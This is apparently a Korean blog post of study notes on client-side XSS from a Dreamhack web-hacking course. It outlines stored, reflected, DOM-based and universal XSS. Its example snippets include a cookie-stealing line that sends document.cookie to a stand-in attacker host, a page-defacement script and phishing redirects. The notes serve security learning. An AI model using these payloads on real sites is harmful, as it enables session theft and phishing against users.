1. Clint Side: XSS
클라이언트 사이드 취약점은 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점이다. 이용자를 이용한 세션 및 쿠키를 탈취하고 임의 기능을 수행할 수 있다.
1-1 XSS
XSS는 클라이언트 사이드 취약점 중 하나로 공격자가 웹 사이트에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행한다. XSS의 종류와 악성 스크립트가 삽입되는 위치는 다음과 같다.
Stored XSS | XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS |
Reflected XSS | XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS |
DOM-based XSS | XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS |
Universal XSS | 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP정책을 우회하는 XSS |
자바스크립트는 웹 문서의 동작을 정의한다. 이는 이용자가 버튼을 클릭 시 어떤 이벤트를 발생시킬지와 데이터를 입력 시 해당 데이터를 전송하는 이벤트를 구현한다. 자바스크립트는 다양한 동작을 정의하기 때문에 XSS에 주로 사용된다.
Figure 1. 쿠키 및 세션 탈취 공격 코드
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie;
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 <<a href=http://hacker.dreamhack.io>http://hacker.dreamhack.io</a>>
// "<<a href=http://hacker.dreamhack.io/?cookie=현재페이지의쿠키>http://hacker.dreamhack.io/?cookie=현재페이지의쿠키</a>>" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "<<a href=http://hacker.dreamhack.io/?cookie=>http://hacker.dreamhack.io/?cookie=</a>>" + document.cookie;
Figure 2. 페이지 변조 공격 코드
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
Figure 3. 위치 이동 공격 코드
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "<<a href=http://hacker.dreamhack.io/phishing>http://hacker.dreamhack.io/phishing</a>>";
// 새 창 열기
window.open("<<a href=http://hacker.dreamhack.io/>http://hacker.dreamhack.io/</a>>")
1-2 Stored XSS
Stored XSS는 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 떄 발생한다. 대표적으로 게시물과 댓글에 악성스크립트를 삽입해 업로드 하는 방식이 있다.
1-3 Reflected XSS
Reflected XSS는 서버가 악성 스크립트에 담긴 요청을 출력할 때 발생한다. 대표적으로는 검색 기능에 스크립트를 포함시켜 검색하는 방법이 있다. Stored XSS와의 다른점은 URL과 같은 이용자의 요쳥에 의해 발생한다는 것이다. 공격을 위해서는 악성스크립트가 삽입된 링크에 접속하도록 유도해야하며 이용자가 눈치채지 못하도록 하는 Click Jacking이나 Open Redirect등의 다른 취약점과 연계해 사용한다.
'Web hacking > 개념 정리 & 심화' 카테고리의 다른 글
[Dreamhack] W - STAGE 6 SQL Injection (0) | 2023.05.04 |
---|---|
[Dreamhack] W - STAGE 5 Cross Site Request Forgery(CSRF) (0) | 2023.05.04 |
[Dreamhack] W - STAGE 3 Cookie & Session (0) | 2023.05.04 |
[Dreamhack] W - STAGE 2 Background: Web (0) | 2023.02.22 |
4) SQL injection 및 XSS 보안 대책 상세 (0) | 2023.01.17 |